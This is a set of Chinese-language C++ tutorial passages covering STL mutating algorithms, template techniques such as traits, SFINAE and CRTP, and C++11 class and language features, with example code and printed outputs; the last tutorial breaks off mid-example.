#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(3);
    v.push_back(3);
    v.push_back(5);
    vector<int> v2(4);
    unique_copy(v.begin(), v.end(), v2.begin());
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


2 3 5 0


元素旋转算法


reverse函数


该函数用于容器元素的反向排列。


函数原型如下：


template <class BidirectionalIterator>
  void reverse (BidirectionalIterator first, BidirectionalIterator last)



下面的示例程序将容器v中的元素反向排列并打印。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    reverse(v.begin(), v.end());
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


5 3 2


reverse_copy函数


该函数用于反向复制容器元素。


函数原型如下：


template <class BidirectionalIterator, class OutputIterator>
  OutputIterator reverse_copy (BidirectionalIterator first,
                               BidirectionalIterator last, OutputIterator result)



下面的实例程序将容器v中的元素反向复制到新容器v2中。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    vector<int> v2(v.size());
    reverse_copy(v.begin(), v.end(), v2.begin());
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


5 3 2


rotate函数


该函数用于旋转某个迭代器区间的元素。


假设区间元素为{a0, a1, ..., ak, ..., an}，ak为middle位置，则旋转复制后，新区间元素为{ak, ak+1, ..., an, a0, a1, ..., ak-1}。


函数原型如下：


template <class ForwardIterator>
  void rotate (ForwardIterator first, ForwardIterator middle,
               ForwardIterator last)



下面的示例程序将容器v以值为7的元素为支点旋转。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    for(int i = 0; i < 10; i++) {
        v.push_back(i + 1);
    }
    rotate(v.begin(), find(v.begin(), v.end(), 7), v.end());
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


7 8 9 10 1 2 3 4 5 6


rotate_copy函数


该函数通过复制的方法实现旋转，比rotate函数更简单高效，但需要占用较多的内存空间。


函数原型如下：


template <class ForwardIterator, class OutputIterator>
  OutputIterator rotate_copy (ForwardIterator first, ForwardIterator middle,
                              ForwardIterator last, OutputIterator result)



下面的示例程序将以容器v中值为7的元素为支点旋转，将结果存储在容器v2中。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    for(int i = 0; i < 10; i++) {
        v.push_back(i + 1);
    }
    vector<int> v2(v.size());
    rotate_copy(v.begin(), find(v.begin(), v.end(), 7), v.end(), v2.begin());
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


7 8 9 10 1 2 3 4 5 6


随机抖动算法


random_shuffle函数


该函数用于对容器元素进行随机的排列，有两个使用原型，使用C标准的伪随机函数rand或自定义的随机数发生器函数对象。


函数原型如下：


template <class RandomAccessIterator>
  void random_shuffle (RandomAccessIterator first, RandomAccessIterator last)

template <class RandomAccessIterator, class RandomNumberGenerator>
  void random_shuffle (RandomAccessIterator first, RandomAccessIterator last,
                       RandomNumberGenerator& gen)



下面的示例程序将容器v中元素随机抖动2次并打印，其实这是一个伪随机抖动的过程。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    for(int i = 0; i < 10; i++) {
        v.push_back(i);
    }
    random_shuffle(v.begin(), v.end());
    for_each(v.begin(), v.end(), print);
    cout << endl;
    random_shuffle(v.begin(), v.end());
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


8 1 9 2 0 5 7 3 4 6

7 0 6 3 2 8 1 4 5 9


容器分割算法


partition函数


该函数用于重新分割排列容器的元素，按照医院谓词判断条件，分割成满足和不满足条件的两部分，返回的迭代器指向首个不满足条件的元素。


函数原型如下：


template <class BidirectionalIterator, class UnaryPredicate>
  BidirectionalIterator partition (BidirectionalIterator first,
                                   BidirectionalIterator last, UnaryPredicate pred)



下面的示例程序将容器v中的元素分为小于5和大于等于5的两部分，并分别将元素打印出来。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int less5(int x) {
    if(x < 5) {
        return 1;
    } else {
        return 0;
    }
}
int main(void) {
    vector<int> v;
    for(int i = 10; i > 0; i--) {
        v.push_back(i);
    }
    vector<int>::iterator iv = partition(v.begin(), v.end(), less5);
    cout << "less than 5: ";
    for_each(v.begin(), iv, print);
    cout << endl;
    cout << "no less than 5: ";
    for_each(iv, v.end(), print);
    return 0;
}



输出结果为：


less than 5: 1 2 3 4

no less than 5: 6 5 7 8 9 10


stable_partition函数


该函数与parition类似，重新分割排列容器的元素，但可以保持原有元素的先后顺序。


函数原型如下：


template <class BidirectionalIterator, class UnaryPredicate>
  BidirectionalIterator stable_partition (BidirectionalIterator first,
                                          BidirectionalIterator last,
                                          UnaryPredicate pred)



下面的示例程序也是将容器v中的元素分为小于5和大于等于5的两部分，但保持元素的稳定性。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int less5(int x) {
    if(x < 5) {
        return 1;
    } else {
        return 0;
    }
}
int main(void) {
    vector<int> v;
    for(int i = 10; i > 0; i--) {
        v.push_back(i);
    }
    vector<int>::iterator iv = stable_partition(v.begin(), v.end(), less5);
    cout << "less than 5: ";
    for_each(v.begin(), iv, print);
    cout << endl;
    cout << "no less than 5: ";
    for_each(iv, v.end(), print);
    return 0;
}



输出结果为：


less than 5: 4 3 2 1

no less than 5: 10 9 8 7 6 5


小结


本文主要介绍了STL算法库中的变易算法（Mutating Algorithms），是一些会使操作数据发生改变的算法，包括：



	元素复制算法：copy, copy_backward

	元素交换算法：swap, iter_swap, swap_ranges, transform

	元素替换算法：replace, replace_if, replace_copy, replace_copy_if

	元素填充算法：fill, fill_n, generate, generate_n

	元素移除算法：remove, remove_if, remove_copy, remove_copy_if, unique_copy, unique

	元素旋转算法：reverse, reverse_copy, rotate, rotate_copy

	随机抖动算法：random_shuffle

	容器分割算法：partition, stable_partition



这些函数均包含于头文件，本文给出的所有代码在VS2010中编译运行通过。


参考


[1] http://www.cplusplus.com/reference/algorithm/,  - C++ Reference;


[2] C++ STL开发技术导引, 叶志军, 人民邮电出版社.


（全文完）
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C++ 模板技法

C++模板的学习，一来就是Trick太多，二来是规则太复杂而且资料少。我希望在这里总结一下，方便学习。这些C++特性可能只能在比较新的编译器上才能正确编译。下面的代码也都只是Demo，万不能在生产环境中使用。应用在生产环境中时，你还要考虑到const的增减、右值引用以优化性能、访问控制以增强封装等等。

此文不定期更新。若这些代码在你的编译器上无法编译成功，请及时告知。

一、type_traits


用一个空类Helper，如下面的integral_trait，将所有所需类型的相关内容包装起来（你可能想问我为什么要用enum，答案是只是想少写点字而已，尤其在你有几个整数要填充进Helper里的时候。当然你也可以写static const bool is_integral = false;，不过这实在是太长了）：

template<typename T> struct integral_trait
    { enum { is_integral = false, }; };
template<> struct integral_trait<char>
    { enum { is_integral = true, }; };
template<> struct integral_trait<unsigned char>
    { enum { is_integral = true, }; };
template<> struct integral_trait<int>
    { enum { is_integral = true, }; };
template<> struct integral_trait<unsigned int>
    { enum { is_integral = true, }; };

template<typename T, typename Trait = integral_trait<T>>
bool is_integral_number(T) {
    return Trait::is_integral;
}

////////////////////////////////////////////////////////////
// My classes
struct big_integer {
    big_integer(const string&) { }
};

template<> struct integral_trait<big_integer>
    { enum { is_integral = true, }; };


int main()
{
    cout << is_integral_number(123) << endl; // 1
    cout << is_integral_number(123.) << endl; // 0
    cout << is_integral_number(big_integer("123")) << endl; // 1
    cout << is_integral_number("123") << endl; // 0
}

这样有什么好处呢？当你有一个自己的新类（如big_integer），你想让它能够适配is_integral_number，让这个函数认为它是个整数，你只需要为你的类添加一个integral_trait就好了。

Trait Helper在充当适配器的功能下几乎无所不能。你能为了能让数组和模板容器用上统一的迭代接口，用一个trait去把两者的区别磨平。

template<typename T>
struct iterator_trait {
    typedef typename T::iterator iterator;
    static iterator begin(T& c) { return c.begin(); }
    static iterator end(T& c) { return c.end(); }
};

template<typename T, size_t N>
struct iterator_trait<T[N]> {
    typedef T* iterator;
    static iterator begin(T arr[N]) { return arr; }
    static iterator end(T arr[N]) { return arr + N; }
};

template<typename T, typename Trait = iterator_trait<T>>
// use reference to keep array from decaying to pointer
void print_each(T& container) {
    for(typename Trait::iterator i = Trait::begin(container);
            i != Trait::end(container); ++i)
        cout << *i << ' ';
    cout << endl;
}

int main() {
    int arr_i[] = { 1, 2 };
    string arr_s[] = { "3", "4" };
    vector<float> vec_f = { 5.f, 6.f };
    list<double> lst_d = { 7., 8. };

    print_each(arr_i); // 1 2
    print_each(arr_s); // 3 4
    print_each(vec_f); // 5 6
    print_each(lst_d); // 7 8
}

Trait技法在STL里面已经用到烂了。

二、 SFINAE: enable_if


Substitution failure is not an error (SFINAE)，替代失败不是错误，是一项C++98开始有的特性，意思是编译器在模板推导的时候，将所有可能可用的声明组合列出来，找到可用的一组（有且仅有一组，留意到如果可用的不止一个，编译器会报歧义错误），其余不可用的组合不会报错。最经典的应用是enable_if，它的实现是这样的：

template<bool B, class T = void>
struct enable_if {};
 
template<class T>
struct enable_if<true, T> { typedef T type; };

我们先解释下用法。比如在调用what_am_i(123);时，编译器把几个可能的推导列出来。除了第一个函数以外，其它所有都在..., int>::type的时候出错了，因为当B != true的时候，enable_if无法被偏特化，所以也就是没有enable_if::type了。

template<typename T,
    typename enable_if<is_integral<T>::value, int>::type n = 0>
void what_am_i(T) {
    cout << "Integral number." << endl;
}

template<typename T,
    typename enable_if<is_floating_point<T>::value, int>::type n = 0>
void what_am_i(T) {
    cout << "Floating point number." << endl;
}

template<typename T,
    typename enable_if<is_pointer<T>::value, int>::type n = 0>
void what_am_i(T) {
    cout << "Pointer." << endl;
}

int main()
{
    what_am_i(123);
    what_am_i(123.0);
    what_am_i("123");
}

天哪太丑了！你不禁叫了出来，心情跟你看到重载后置operator++的时候要加多一个参数（并且它毫无作用的时候）一样。为什么非要在后面加一个毫无作用的模板参数啊！enable_if最麻烦的问题就是，typename enable_if<is_???<T>::value, ???>::type该怎么放以及放哪儿。我来列出几个可能的地点，然后逐一排除：


	首先，我先明确我们的目的：诱导在函数里产生类型推导的失败，让具有SFINAE特性的编译器把它排除。只要出现失败就行了，有无意义什么的……我们不关心。


	函数体里面：说出这种话的人是白痴吗，编译器在推导类型的时候才不会关心函数体里面是怎样的呢。如果将失败置放在函数体里面，那就不是匹配失败了，而是真正的编译器错误。


	
作为函数参数类型：

template<typename T>
void what_am_i(typename enable_if<is_pointer<T>::value, T>::type)
{ /* ... */ }

不可以。what_am_i(123)是在告诉编译器你想通过一系列关于T的的表达式得到一个int，然后让编译器把T像解方程一样解出来 —— 编译器可不是MATLAB。除非你这样写：what_am_i<int>(123)，编译器才有这个能力把匹配做对。



	
返回值：

template<typename T>
typename enable_if<is_pointer<T>::value, void>::type what_am_i(T)
{ /* ... */ }

是的你可以这样做，而且这样做很漂亮。这也是正确写法之一。



	
作为模板参数的默认值：

template<typename T, typename t =
    typename enable_if<is_floating_point<T>::value, T>::type>
void what_am_i(T) { /* ... */ }

如果你只有一个what_am_i的话，这是可行的。然而当我们有多个，就会引起歧义了。模板参数像函数参数一样，有一个签名，如果你所有的what_am_i都是这样做的，这样每个函数的函数签名都是是template<typename T, typename> what_am_i(T)，根本没办法引起重载。类比一下，试想你声明两个函数int add(int a, int b = 0)和int add(int a, int b = 1)，编译器可不会认为这两个函数相互重载了，只是默认值相同的话。



	
作为模板参数：

template<typename T, typename enable_if<is_floating_point<T>::value, T>::type = 0>
void what_am_i(T) { /* ... */ }

我们快要接近正确答案了。但是这个仍然不行。关键出在T上：用int是别有用意的。能作为非类型模板（Non-type Template）的类型几乎只有整数类型，浮点不行，类/结构不行，部分指针是可以的。原因是这些浮点啊、类啊它们的“相等”概念非常含糊（比如浮点陷阱），编译器无法作出匹配。所以，明智的办法是用整数吧。





所以enable_if是精心设计的出来的。作者虽只用了短短几行，，背后却几乎涵盖了整个C++模板推导的机制。

在C++11里面增添了一个decltype关键字，用在函数声明有这样的写法：

template<typename T>
auto func(T t1, T t2) -> decltype(t1+t2);

你现在可以令decltype里的表达式发生错误以跳过这个匹配（例如T是一个指针，指针不能相加，表达式t1+t2是ill-form expression），但是在编写程序的时候尽量避免，因为Visual Studio到现在仍未完整支持decltype里的SFINAE（又叫Expression SFINAE），完美传承了Visual Studio习惯性落后于标准的思想。

三、 CRTP: 线性代数类实作

CRTP（Curiously recurring template pattern），奇异递归模板模式，是一个很有用的自我扩充的方法。在STL里面，有一个很经典的应用就是 enable_shared_from_this，不过动态内存管理的内容这里不详谈。

所谓CRTP，就是诸如template<class T> class A : B<T> { ... };这种形式。在类的定义还未完全出来之前，就继承自以自己为模板的另外一个类。编译器对这种情况采用类似与模板特化的惰性推演：在未将所有的模板参数实参化之前，它还不是一个真真正正的类型；而当填充了实参之后，这个类的定义也就早就出来了，所以也就没有类似于"incomplete type"的错误 —— 真是很聪明的设计，有一种超越时间空间的存在的感觉（笑

事情是这样的，一个程序员在实现线性代数库的时候都快要疯掉了。他要实现三种类型：复数、向量、矩阵，他们的操作几乎一模一样。然而你没办法让它们从某个基类继承过来，因为一来从数学上说不通，二来方式也是有所区别的。它们都有加法运算，简直一模一样的加法运算。它们都有乘法运算，天差地别的乘法运算。而且只要满足一些规定（比如列向量的行数等于左矩阵的列数），这些类型两者之间也可以互相相乘。更麻烦的是，你还要在实现完 operator+, operator* 之后，实现operator+=和operator*=，还有满足交换律的两者对调。

这些功能都可以通过CRPT来整合到当前的类里面，并且通过Specialization来为不同的类型实现相同的接口。下面我们来看看这些线性代数类是怎样实现的。首先，我希望我们这些结构都可以有加法，可以格式化打印出来：

template<typename T>
struct add_impl {
    static T add(T l, const T& r) {
        typedef decltype(*r.begin()) val;
        transform(r.begin(), r.end(), l.begin(), l.begin(),
            [](const val& vl, const val& rl) { return vl + rl; });
        return l;
    }
};

template<typename Base, template<typename> class Impl>
struct add_ops {
    Base& self;
    add_ops(Base& s) : self(s) { }

    template<typename T1>
    auto operator+(const T1& other) const ->
            decltype(Impl<Base>::add(self, other)) {
        return Impl<Base>::add(self, other);
    }

    template<typename T1>
    auto operator+=(const T1& other) -> decltype(self) {
        return (self = operator+(other));
    }
}; 

在这里，将作为（见下文的三个主要的类）父类的add_ops没有实现加法操作，而是把它转发给一个模板Impl。这个Impl可能是add_impl或者任何一个拥有一个模板参数，并且实现了add语义的类。这里用到了一种技法叫做Template template parameter，模板模板参数，用来约束模板参数Impl也必须拥有一个模板参数。如果不用TTP，在生成add_ops的时候就不能用add_ops<Base, add_impl>而必须用add_ops<Base, add_impl<Base>>。

矩阵的格式化打印跟向量的格式化打印是类似的，都是[ ... ]，但是复数我们希望能够显示成a+bi的形式。所以我通过模板特化来为复数增加特性：

template<typename T>
struct fmt_impl {
    static void fmt(ostream& os, const T& t) {
        typedef decltype(*t.begin()) val;
        os << "[ ";
        for_each(t.begin(), t.end(), [&](const val& v) {
            os << v << ' ';
        });
        os << "]";
    }
};

template<typename T> class cmplx;
template<typename T>
struct fmt_impl<cmplx<T>> {
    static void fmt(ostream& os, const cmplx<T>& c) {
        os << c[0] << "+" << c[1] << "i";
    }
};

template<typename Base, template<typename> class Impl>
struct fmt_ops {
    Base& self;
    fmt_ops(Base& s) : self(s) { }
};
template<typename Base, template<typename> class Impl>
inline ostream& operator<<(ostream& os, const fmt_ops<Base, Impl> ops) {
    Impl<Base>::fmt(os, ops.self);
    return os;
}

说了这么久主人公还没现身。在实现了上面几个模板类之后，我们所需的复数、向量、矩阵三个类就轻松了，除了基本的构造函数和operator=需要自行实现外，只需要用CRPT技法继承自???_ops来纳入新的方法就好。为了省事我决定把三个类都继承自std::array来获取诸如迭代器、下标操作等功能，当然我也可以用类似的方法用CRPT实现它，不过限于篇幅就不这么做了：

template<typename T>
struct cmplx : public array<T, 2>,
        public add_ops<cmplx<T>, add_impl>,
        public fmt_ops<cmplx<T>, fmt_impl>
{

    typedef array<T, 2> array_t;
    typedef add_ops<cmplx<T>, add_impl> add_ops_t;
    typedef fmt_ops<cmplx<T>, fmt_impl> fmt_ops_t;

    cmplx() : add_ops_t(*this), fmt_ops_t(*this) { }
    cmplx(const cmplx& c) : array_t(c), add_ops_t(*this), fmt_ops_t(*this) { }
    cmplx(initializer_list<T> l) : add_ops_t(*this), fmt_ops_t(*this) 
        { copy_n(l.begin(), 2, this->begin()); }
    cmplx& operator=(const cmplx& c)
        { array_t::operator=(c); return *this; }
};

template<typename T, size_t N>
struct vec : public array<T, N>,
        public add_ops<vec<T, N>, add_impl>,
        public fmt_ops<vec<T, N>, fmt_impl>
{

    typedef array<T, N> array_t;
    typedef add_ops<vec<T, N>, add_impl> add_ops_t;
    typedef fmt_ops<vec<T, N>, fmt_impl> fmt_ops_t;

    vec() : add_ops_t(*this), fmt_ops_t(*this) { }
    vec(const vec& v) : array_t(v), add_ops_t(*this), fmt_ops_t(*this) { }
    vec(initializer_list<T> l) : add_ops_t(*this), fmt_ops_t(*this)
        { copy_n(l.begin(), N, this->begin()); }
    vec& operator=(const vec& v)
        { array_t::operator=(v); return *this; }
};

template<typename T, size_t N, size_t M>
struct mat : public array<vec<T, N>, M>,
        public add_ops<mat<T, N, M>, add_impl>,
        public fmt_ops<mat<T, N, M>, fmt_impl>
{

    typedef array<vec<T, N>, M> array_t;
    typedef add_ops<mat<T, N, M>, add_impl> add_ops_t;
    typedef fmt_ops<mat<T, N, M>, fmt_impl> fmt_ops_t;

    mat() : add_ops_t(*this), fmt_ops_t(*this) { }
    mat(const mat& m) : array_t(m), add_ops_t(*this), fmt_ops_t(*this) { }
    mat(initializer_list<vec<T, N>> l) : add_ops_t(*this), fmt_ops_t(*this)
        { copy_n(l.begin(), M, this->begin()); }
    mat& operator=(const mat& m)
        { array_t::operator=(m); return *this; }
};

typedef cmplx<double> c;
typedef vec<double, 3> vec3;
typedef vec<c, 3> vec3c;
typedef mat<double, 3, 2> mat32;

代码变得非常简短。三个类都仅用了十多行代码就含有了我们所需的功能：加法、格式化输出。想要加入乘法等功能也可以采用类似的手段。我们测试一下这些代码以保证它是可行的：

int main()
{
    vec3 v1{1, 2, 3};
    vec3 v2{4, 5, 6};
    vec3 v3 = v1 + v2;
    cout << v3 << endl; // [ 5 7 9 ]

    vec3c vc1{c{0, 1}, c{1, 2}, c{2, 3}};
    vec3c vc2{c{4, 5}, c{5, 6}, c{6, 7}};
    vec3c vc3 = vc1 + vc2;
    cout << vc3 << endl; // [ 4+6i 6+8i 8+10i ]
    vc3 += vc1;
    cout << vc3 << endl; // [ 4+7i 7+10i 10+13i ]

    mat32 m1{
        vec3{1, 2, 3},
        vec3{4, 5, 6},
    };
    mat32 m2{
        vec3{4, 5, 6},
        vec3{7, 8, 9},
    };
    mat32 m3 = m2 + m1;
    cout << m3 << endl; // [ [ 5 7 9 ] [ 11 13 15 ] ]
}
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C++11中对类(class)新增的特性

default/delete 控制默认函数

在我们没有显式定义类的复制构造函数和赋值操作符的情况下，编译器会为我们生成默认的这两个函数：
默认的赋值函数以内存复制的形式完成对象的复制。
这种机制可以为我们节省很多编写复制构造函数和赋值操作符的时间，但是在某些情况下，比如我们不希望对象被复制，
在之前我们需要将复制构造函数和赋值操作符声明为private，现在可以使用delete关键字实现：

class X {
    // …
    X& operator=(const X&) = delete;   // 禁用类的赋值操作符
    X(const X&) = delete;
};


显式地使用default关键字声明使用类的默认行为，对于编译器来说明显是多余的，但是对于代码的阅读者来说，使用default显式地定义复制操作，则意味着这个复制操作就是一个普通的默认的复制操作。

override /final  强制重写/禁止重写虚函数

派生类中可以不实现基类虚函数，也可以实现，但不使用virtual关键字；
这很容易给人造成混淆，有时为了确认某个函数是否是虚函数，我们不得不追溯到基类查看；
C++11引入了两个新的标识符： override和final
override，表示函数应当重写基类中的虚函数。（用于派生类的虚函数中）
final，表示派生类不应当重写这个虚函数。（用于基类中）


struct B {
       virtual void f();
       virtual void g() const;
       virtual void h(char);
       void k();      // non-virtual
       virtual void m() final; 
};
 
struct D : B {
       void f() override;     // OK: 重写 B::f()
       void g() override;     // error: 不同的函数声明，不能重写
       virtual void h(char);  // 重写 B::h( char ); 可能会有警告
       void k() override;     // error: B::k() 不是虚函数
       virtual void m();       // error: m()在基类中声明禁止重写
};


有了这对兄弟，我们的虚函数用起来更为安全，也更好阅读；

委托构造函数 Delegating constructors

在C++98中，如果你想让两个构造函数完成相似的事情，可以写两个大段代码相同的构造函数，或者是另外定义一个init()函数，让两个构造函数都调用这个init()函数。例如：


class X {
        int a;
        // 实现一个初始化函数
        validate(int x) {
            if (0<x && x<=max) a=x; else throw bad_X(x);
        }
    public:
        // 三个构造函数都调用validate()，完成初始化工作
        X(int x) { validate(x); }
        X() { validate(42); }
        X(string s) {
            int x = lexical_cast<int>(s); validate(x);
        }
        // …
    };
    

这样的实现方式重复罗嗦，并且容易出错。
在C++0x中，我们可以在定义一个构造函数时调用另外一个构造函数：


class X {
        int a;
    public:
        X(int x) { if (0<x && x<=max) a=x; else throw bad_X(x); }
        // 构造函数X()调用构造函数X(int x)
        X() :X{42} { }
        // 构造函数X(string s)调用构造函数X(int x)
        X(string s) :X{lexical_cast<int>(s)} { }
        // …
    };


继承的构造函数 Inheriting constructors

C++11提供了将构造函数晋级的能力：
比如以下这个示例，基类提供一个带参数的构造函数，而派生类没有提供；
如果直接使用D1 d(6);将会报错；通过将基类构造函数晋级，派生类中会隐式声明构造函数D1(int)；
需要注意的是，晋级后的基类构造函数是无法初始化派生类的成员变量的，所以如果派生类中有成员变量，
需要使用初始化列表初始化；


struct B1 {
        B1(int) { }
    };
    struct D1 : B1 {
        using B1::B1; // 隐式声明构造函数D1(int)
        // 注意：在声明的时候x变量已经被初始化
        int  x{0};
    };
    void test()
    {
        D1 d(6);    // d.x的值是0
    }


类内部成员的初始化 Non-static data member initializers

在C++98标准里，只有static const声明的整型成员能在类内部初始化，并且初始化值必须是常量表达式。这些限制确保了初始化操作可以在编译时期进行。


class X {
    static const int m1 = 7;   // 正确
    const int m2 = 7;    // 错误：无static
    static int m3 = 7;              // 错误：无const
    static const string m5 = “odd”; //错误：非整型
};


C++11的基本思想是，允许非静态（non-static）数据成员在其声明处（在其所属类内部）进行初始化。这样，在运行时，需要初始值时构造函数可以使用这个初始值。现在，我们可以这么写：


class A {
public:
    int a = 7;
};
它等同于使用初始化列表：
class A {
public:
    int a;
    A() : a(7) {}
};


单纯从代码来看，这样只是省去了一些文字输入，但在有多个构造函数的类中，其好处就很明显了：


class A {
    public:
         A(): a(7), b(5), hash_algorithm(“MD5″),
           s(“Constructor run”) {}
        A(int a_val) :
          a(a_val), b(5), hash_algorithm(“MD5″),
          s(“Constructor run”)
          {}
        A(D d) : a(7), b(g(d)),
            hash_algorithm(“MD5″), s(“Constructor run”)
            {}
        int a, b;
    private:
        // 哈希加密函数可应用于类A的所有实例
        HashingFunction hash_algorithm;
        std::string s;  // 用以指明对象正处于生命周期内何种状态的字符串
    };


可以简化为：


class A {
    public:
        A() {}
        A(int a_val) : a(a_val) {}
        A(D d) : b(g(d)) {}
        int a = 7;
        int b = 5;
    private:
        //哈希加密函数可应用于类A的所有实例
        HashingFunction hash_algorithm{“MD5″};
        //用以指明对象正处于生命周期内何种状态的字符串
        std::string s{“Constructor run”};


多么优雅！

移动构造和移动赋值

在C++98中，我们自定义的类，会默认生成拷贝赋值操作符函数和拷贝赋值函数以及析构函数；
在C++11中，依赖于新增的move语义，默认生成的函数多了2个移动相关的：移动赋值操作符（ move assignment ）和移动构造函数（ move constructor ）；

BS建议，如果你显式声明了上述 5 个函数或操作符中的任何一个，你必须考虑其余的 4 个，并且显式地定义你需要的操作，或者使用这个操作的默认行为。

一旦我们显式地指明（ 声明 , 定义 , =default , 或者 =delete ）了上述五个函数之中的任意一个，编译器将不会默认自动生成move操作。
一旦我们显式地指明（ 声明 , 定义 , =default , 或者 =delete ）了上述五个函数之中的任意一个，编译器将默认自动生成所有的拷贝操作。但是，我们应该尽量避免这种情况的发生，不要依赖于编译器的默认动作。

如果你声明了上述 5 个默认函数中的任何一个，强烈建议你显式地声明所有这 5 个默认函数。例如：


template<class T>
class Handle {
    T* p;
public:
    Handle(T* pp) : p{pp} {}
    // 用户定义构造函数： 没有隐式的拷贝和移动操作
        ~Handle() { delete p; }
    Handle(Handle&& h) :p{h.p}
        { h.p=nullptr; }; // transfer ownership
    Handle& operator=(Handle&& h)
        { delete p; p=h.p; h.p=nullptr; } // 传递所有权
    Handle(const Handle&) = delete;  // 禁用拷贝构造函数
    Handle& operator=(const Handle&) = delete;
    // ...
};


参考
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C++11新特性


auto，decltype，for，nullptr


如果编译器在定义一个变量的时候可以推断出变量的类型，不用写变量的类型，你只需写auto即可


cppauto str = "sissie";
assert(typeid(str) == typeid(const char *));



auto处理引用时默认是值类型，可以指定&作为修饰符强制它作为引用，auto自动获取指针类型，也可以显示地指定指针类型


cppint& foo();
auto i = foo();     // int
auto& ri = foo();   // int&

int* bar();
auto pi = bar();    // int*
auto* pi = bar();   // int*



在迭代器中使用auto，简化代码


cppstd::vector<std::string> vs{{"sissie", "robin", "playjokes", "sky", "hatlonely"}};
for (auto it = vs.begin(); it != vs.end(); ++it) {
    std::cout << *it << ", ";
}



在模板中使用auto


cpptemplate <typename BuiltType, typename Builder>
void makeAndProcessObject(const Builder& builder)
{
    BuiltType val = builder.makeObject();
    // do stuff with val
}
MyObjBuilder builder;
makeAndProcessObject<MyObj>(builder);

// 使用auto只需要一个模板参数，让编译器自动推导
template <typename Builder>
void makeAndProcessObject(const Builder& builder)
{
    auto val = builder.makeObject();
    // do stuff with val
}
MyObjBuilder builder;
makeAndProcessObject(builder);



decltype 返回操作数的类型，可以对基本上任何类型使用decltype，包括函数的返回值


cppint ia[10];
decltype(ia) ib;    // int ib[10];



新的函数返回值声明语法，把返回类型放在函数声明的后面，用auto代替前面的返回类型


cpp// 这两种函数声明方式等效
int multiply(int x, int y);
auto multiply(int x, int y) -> int;

// 返回auto
template <typename Builder>
auto makeAndProcessObject(const Builder& builder) -> decltype(builder.makeObject())
{
    auto val = builder.makeObject();
    // do stuff with val
    return val;
}



区间迭代，for循环遍历容器


cppstd::vector<std::string> vs{{"sissie", "robin", "playjokes", "sky", "hatlonely"}};
for (const auto& name: vs) {
    std::cout << name << ", ";
}



nullptr 是C++11中新加的关键字，用来表示空指针，替代原来的NULL，nullptr不能转换成int


lambda 表达式


C++11中得lambda表达式用来定义和创建匿名函数，lambda表达式语法形式如下：


cpp[ capture ] ( params ) mutable exception attribute -> ret { body }      // (1)
[ capture ] ( params ) -> ret { body }                                  // (2)
[ capture ] ( params ) { body }                                         // (3)
[ capture ] { body }                                                    // (4)





	(1) 是完整的 lambda 表达式形式

	(2) const 类型的 lambda 表达式，该类型的表达式不能改捕获("capture")列表中的值

	(3) 省略了返回值类型的 lambda 表达式，但是该 lambda 表达式的返回类型可以按照下列规则推演出来：


	如果 lambda 代码块中包含了 return 语句，则该 lambda 表达式的返回类型由 return 语句的返回类型确定。

	如果没有 return 语句，则类似 void f(...) 函数





	(4) 省略了参数列表，类似于无参函数 f()




	
capture：capture 为捕获的lambda所在作用域范围内可见的局部变量列表


	
[a,&b] a变量以值的方式呗捕获，b以引用的方式被捕获

	
[this] 以值的方式捕获 this 指针

	
[&] 以引用的方式捕获所有的外部自动变量

	
[=] 以值的方式捕获所有的外部自动变量

	
[] 不捕获外部的任何变量





	
params：参数列表

	
mutable exception attribute：lambda是否可以更改捕获变量以及是否有异常抛出


	
mutable 修饰符说明 lambda 表达式体内的代码可以修改被捕获的变量，并且可以访问被捕获对象的 non-const 方法

	
exception 说明 lambda 表达式是否抛出异常(noexcept)，以及抛出何种异常，类似于void f() throw(X, Y)

	
attribute 用来声明属性





	
ret：返回类型

	
body：函数体



cpp// 数组累加
std::vector<int> vi{{1, 2, 3, 4, 5, 6, 7, 8, 9}};
int total = 0;
std::for_each(vi.begin(), vi.end(), [&total](int i) {
  total += i;
});

// 数组绝对值
// 单一的return语句，编译其可以推导出返回类型，多个return语句需要显示指定返回类型
std::transform(vi.begin(), vi.end(), [](int i) -> int {
    if (i < 0) {
        return -i;
    } else {
        return i;
    }
});

// mutable
size_t i = 42;
auto f = [i]() mutable {
    return ++i;
};
i = 0;
std::cout << f() << std::endl;   // 43
std::cout << f() << std::endl;   // 44




初始化列表


C++11新添加初始化列表std::initializer_list<>类型，可以通过{}语法来构造初始化列表


cpp// 容器初始化
// {1, 2, 3, 4, 5}实际上是一个std::initializer_list<int>类型
std::vector<int> vi = {1, 2, 3, 4, 5};
std::vector<std::string> vs{{"sissie", "robin", "playjokes", "sky", "hatlonely"}};
std::map<int, std::string> mis = {
    {1, "c"},
    {2, "java"},
    {3, "c++"}
};

// 初始化列表参数
void print_initializer_list(std::initializer_list<int> il) {
    for (auto i: il) {
        std::cout << i << ", ";
    }
    std::cout << endl;
}
print_initializer_list({1, 2, 3, 4, 5, 6});

// 返回初始化列表
std::vector<std::string> my_array() {
    return {"sissie", "robin", "playjokes", "sky", "hatlonely"};
}



类


加入两个新的标识符：



	
override，表示函数应当重写基类中的虚函数；

	
final，表示派生类不应当重写这个虚函数



cppclass B
{
public:
   virtual void f(int) {std::cout << "B::f" << std::endl;}
};

class D : public B
{
public:
